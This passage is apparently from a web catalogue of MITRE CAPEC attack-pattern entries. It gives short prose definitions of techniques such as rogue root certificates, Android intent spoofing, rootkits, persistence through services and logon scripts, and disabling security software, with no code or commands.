An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.

← Back to the CWE list